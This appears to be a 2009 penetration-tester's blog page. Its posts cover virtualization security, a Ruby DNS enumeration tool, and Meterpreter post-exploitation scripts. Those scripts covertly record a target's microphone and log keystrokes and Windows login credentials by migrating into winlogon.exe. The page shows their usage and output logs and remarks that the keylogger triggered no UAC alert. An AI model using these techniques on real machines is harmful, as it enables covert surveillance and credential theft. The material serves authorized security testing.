Navigation

Entries by Carlos Perez (157)

Thursday
Apr092009

Virtualization changes the rules

One of the areas that I have see that has been growing in most of the Datacenters I have had a chance to consult in is the Virtualization. Many companies and government agencies are looking at virtualization to reduce their operational costs and at the same time gain some of the advantages of virtualization, but an area that I have seen that the virtualization vendors and most system integrator is overlooking is how virtualization changes the way networks are designed and how it also changes the processes for the security team. The biggest mistake I have seen is the mixing of environments without doing a proper risk assessment and segmenting your averments appropriately, you can see this in:

  • Mixing VDI machines (High Risk users have control!!) with server machines (Here is most of the data you want secured).
  • Having DMZ server and Internal server on a same Hypervisor Cluster.
  • Having the Lab Environment and production environments mixed on a same group of clusters.

This are only some basic examples. There is currently development and research being done by the bad guys on how to do VM Escapes and gain access to the physical host, all major vendors have released patches for this and still you do not see questions for this in any of the major risk assessment companies and guides out there. Another area that it is grossly overlook is how do you design your network and storage infrastructure, where do you put your IDS/IPS boxes? how do you segment traffic? in fact one of the major buzz words in converged networks where you have FCoE, ISCSI and NFS running on the same network where you are moving Ethernet communication packets so if a box is compromised or a piece of network equipment is compromised and the attacker can sniff or perform a MITM attack he can see not only the network traffic but the storage traffic giving a greater amount of access to the data. Many designs are badly done where they not only do not segregate on witch physical set of server what VM’s will be hosted but they have LUNs in the SAN where they have the machines mixed, so if an attacker gains access to the physical server he can also have access to VM’s of different levels of classification. 

Another great area of change many times overlooked is procedures, and in an IT environment there are plenty:

  • Backup procedures.
  • Change Management and Patch Management.
  • Incident Response

and this are only but a few of the procedures that must be modified when moving in to a virtual environment. Management as a whole changes, the admin of the physical servers have the power to change and control the VM’s in that environment, permissions will vary to grant the necessary access to the right people to manage the resources and the management system become one of the biggest area of risk if not secure properly. There must be a separation of the management network just like we separate the network and storage traffic. Also the management host must be hardened and all necessary precautions must me taken like having IPS monitoring the traffic to this systems, having proper logging set up, having HIPS on this boxes and proper change management since a compromise of one of this boxes means that the attacker gained the keys to the kingdom.  This is just a rant on some of the main points that I see are not being addressed properly by the major virtualization vendors when they talk about virtualization and consolidation. The bad guys are doing their research and they even have attack code that will detect if the target is a VM we better catch up before it is to late.

Friday
Apr032009

DNS Recon Tool written in Ruby

I wrote this tool back in late 2006 and it has been my favorite tool for enumeration thru DNS, in great part because I wrote it and it gives the output in a way that I can manipulate it in my own style.  One of the features that I used the most and gave me excellent results is the SRV record enumeration. The script will perform the following:

  • Standard Record Enumeration for a given domain (A, NS, SOA and MX).
  • Top Leven Domain Expansion for a given domain.
  • Zone Transfer against all NS records of a given domain.
  • Reverse Lookup against a given IP Range given a start and end IP.
  • SRV Record enumeration, enumerating:
    • _gc._tcp.
    • _kerberos._tcp.
    • _kerberos._udp.
    • _ldap._tcp.
    • _test._tcp.
    • _sips._tcp.
    • _sip._udp.
    • _sip._tcp.
    • _aix._tcp.
    • _aix._tcp.
    • _finger._tcp.
    • _ftp._tcp.
    • _http._tcp.
    • _nntp._tcp.
    • _telnet._tcp.
    • _whois._tcp.
    • _h323cs._tcp.
    • _h323cs._udp.
    • _h323be._tcp.
    • _h323be._udp.
    • _h323ls._tcp.
    • _h323ls._udp.
  • Brute force hostnames and subdomains of a given target domain using a wordlist.

To install the necessary ruby dependencies using ruby gems, run the following commands as root:

gem install pNet-DNS
gem install ip

 

The script can be downloaded from dnsrecon.rb

I do hope that others find it as useful as I have, this tool will be included in BT4 among others of the tools that I have discussed in this blog.

Help Screen of the script:

root@bt:~# ./dnsrecon.rb

Dnsrecon 1.6
By Carlos Perez
Email: carlos_perez[at]darkoperator.com

This is a simple tool written for target enumeration during authorized penetration test
engagements. This tool provides different methods for enumerating targets thru DNS service.

-t, --type
                Select the type of enumeration to be done.
                std     Query for SOA, NS and MX Record of a target domain.
                tld     Top Level Domain enumeration of a target domain.
                axf     Perform a Zone transfer against all NS server Records
                        of a target domain.
                rvs     Reverse Record Lookup enumeration against a targeted
                        IP range.
                srv     Service Record Enumeration of VOIP, Active Directory and
                        Network Services service records.
                brt     Bruteforce subdomain and host records using a wordlist.

-d, --target
                Domain to be targeted for enumeration.

-i, --ip
                Starting IP and end IP for a range to be used for reverse lookup
                enumeration of a targeted domain. Exmpl. 192.168.1.1,192.168.1.253

-w, --wordlist
                Wordlist to be use for brutforce enumeration of host names and subdomains.

-s, --dns
                Alternate DNS server to use.
-h, --help
                This help message.

 

Here is an Example of the tool enumerating SRV Record and Standard Record.

root@bt:~# ./dnsrecon.rb -t srv -d avaya.com
_sip._udp.avaya.com,198.152.17.90,5060
_sip._tcp.avaya.com,198.152.17.90,5060

root@bt:~# ./dnsrecon.rb -t std -d google.com
google.com,209.85.171.100,A
google.com,74.125.67.100,A
google.com,74.125.45.100,A
ns1.google.com,216.239.32.10,SOA
ns4.google.com,216.239.38.10,NS
ns1.google.com,216.239.32.10,NS
ns2.google.com,216.239.34.10,NS
ns3.google.com,216.239.36.10,NS
smtp4.google.com,72.14.221.25,MX,10
smtp1.google.com,209.85.237.25,MX,10
smtp2.google.com,64.233.165.25,MX,10
smtp3.google.com,209.85.137.25,MX,10

 

Friday
Apr032009

Meterpreter Script to Record Sound on a Target Machine

As requested yesterday by Paul in Pauldotcom Security Weekly podcast I wrote a small script to record all sound captured by a targets host microphone in an OGG sound file and upload such file back to the attacking machine. The tool used in linco that was suggested by Byte_Bucket in the pauldotcom IRC Channel.

http://www.darkoperator.com/meterpreter/soundrecorder.zip

 

meterpreter > run soundrecorder -h
Meterpeter script to Record all sound from built in sound source
on target host
OPTIONS:
 -h Help menu.
 -t <opt> Record Time in seconds.
meterpreter > run soundrecorder -t 3
[*] Uploading /pentest/exploits/framework3/data/linco.exe....
[*] /pentest/exploits/framework3/data/linco.exe uploaded!
[*] Uploading /pentest/exploits/framework3/data/oggenc.exe....
[*] /pentest/exploits/framework3/data/oggenc.exe uploaded!
[*] Recording...
[*] stopping recording ...
[*] Recording Stopped
[*] Downloading sound file ...
[*] File Downloaded to /root/.msf3/logs/soundrecord/15.40.154.2500046/out.ogg
[*] Deleting left over files...
[*] Files on target deleted
meterpreter > 

 

4/3/09 Updated the help screen to indicate that the record time is in seconds.

 

Monday
Mar232009

Keylogger Recorder Meterpreter Script

After playing with the Meterpreter key logging function and exchanging some emails with my friend Natron I wrote a Meterpreter script that will save all of the key presses from a compromised host in to a Sqlite3 DB for later analysis. The script will perform the following actions:

  • Migrate the Meterpreter process depending on the desired type of capture and privileges under it is running to:
    • Winlogon.exe – for capture of user credentials as they log in to the compromised host. Only login credential will be captured.
    • explorer.exe – for capturing of user keystrokes. No Windows Login credential will be capture in this mode.
  • Start the capturing of keystrokes in the time interval specified, if none is given it will capture every 30 seconds.
  • Save the captures and a time stamp into a sqlitedb.

Script Options:

meterpreter > run keylogrecorder -h
Keylogger Recorder Meterpreter Script
This script will start the Meterpreter Keylogger and save all keys
in a sqlite3 db for later anlysis. To stop capture hit Ctrl-C
Usage:
OPTIONS:
    -c <opt>  Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0.
    -h        Help menu.
    -t <opt>  Time interval in seconds between recollection of keystrokes, default 30 seconds.
meterpreter >

Execution without any options:

meterpreter > run keylogrecorder
[*] Migrating process...
[*]     explorer.exe Process found, migrating..
[*] Migration Successful!!
[*] Grabbing Desktop Keyboard Input....
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/carlos/.msf3/logs/keylogrecorder/192.168.1.104_20090323.1950/192.168.1.104_20090323.1950.db
[*] Recording ..^C[*] Error: Interrupt
meterpreter >

Execution of script under user privileges and running with option to migrate to winlogon:

meterpreter > run keylogrecorder -c 1
[*] Migrating process...
[*]     You are not currently running as System to be able to migrate to winlogon.
[*]     Capturing only logon user keystrokes.
[*]     explorer.exe Process found, migrating..
[*] Migration Successful!!
[*] Grabbing Desktop Keyboard Input....
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/carlos/.msf3/logs/keylogrecorder/192.168.1.104_20090323.2245/192.168.1.104_20090323.2245.db
[*] Recording ..

As you can see it will not let you migrate in to the process if you do not have the proper permissions.  To later process the data that is capture in linux you can use sqlite3 command to open the db and query it. Example:

carlos@grinder:~/msf3$ sqlite3 /home/carlos/.msf3/logs/keylogrecorder/192.168.1.104_20090323.2245/192.168.1.104_20090323.2245.db
SQLite version 3.5.9
Enter ".help" for instructions
sqlite> .schema
CREATE TABLE keystrokes (tkey INTEGER PRIMARY KEY,data TEXT,timeEnter DATE);
sqlite> select * from keystrokes;
1||20090323.2253
2||20090323.2326
3||20090323.2359
4||20090323.2431
5||20090323.2504
6|oks  <Back>  <Back>  thi  <Back> s is a test. <Return> I really need to get some cofe <Back> fee in m|20090323.2537
7|e. <Return>  <Return> thank g <Back> God I'm not working on   <Back> a SQL or Oracle db doing insets <Back>  <Back> rts o I would be restoring f|20090323.261
8|rom tape about now. <Return> |20090323.2643
sqlite>

Scripts can be written to further parse the DB for information and keywords.  I still have to work a better exit method and that empty key capture buffers are not saved in the db wasting space.  Give it a try and let me know if you like it.

keylogrecorder.rb

UPDATE 3/26/09

HD is making some changes in the code and on the names in the menu, as soon as I have a change to test and run in lab I will post an update to the post and the script with the new functionality.

For more information please check the Metasploit blog

Sunday
Mar222009

Keystroke Logging comes to Meterpreter

Today HD committed to the development tree of SVN bug fixes and updates to Meterpreter, among them the coolest of them all has to be the availability of keystroke logging. Now when you use Meterpreter as a payload you will get in the stdapi the ability to start Keystroke Login by running a simple set of commands. The new commands appear as follows:

Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    grabdesktop    Take over the active input desktop (needed for keyboard sniffing)
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump they keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    uictl          Control some of the user interface components

The new commands are grabdesktop, keyscan_dump, keyscan_start and keyscan_stop. To start the capture of keystrokes we must firs run grabdesktop and then keyscan_start, this will start the capture of all keyboard input into memory.

meterpreter > grabdesktop
Trying to hijack the input desktop...
meterpreter > keyscan_start
Starting the keystroke sniffer...

To dump the content of the buffer we run keyscan_dump, for this example I capture some text I typed into notepad:

meterpreter > keyscan_dump
Dumping captured keystrokes...
 <Back> epnow this a <Back> s a killer feature!!!!!!!! <Return>
meterpreter > keyscan_dump
Dumping captured keystrokes...
meterpreter >

Once the keystrokes are dumped they are cleared from the buffer, so save the output every time you do a dump since it will be lost. This new feature will only capture keyboard input, it will not capture clipboard content or any copy/paste activity, but it is extremely stealthy since it will only reside in memory and in my test machines with Vista with UAC enabled and on Windows 7 it did not trigger any alert. I’m anxiously looking forward on what will come next from the Metasploit team.

UPDATE 3/26/09

HD is making some changes in the code and on the names in the menu, as soon as I have a change to test and run in lab I will post an update to the post.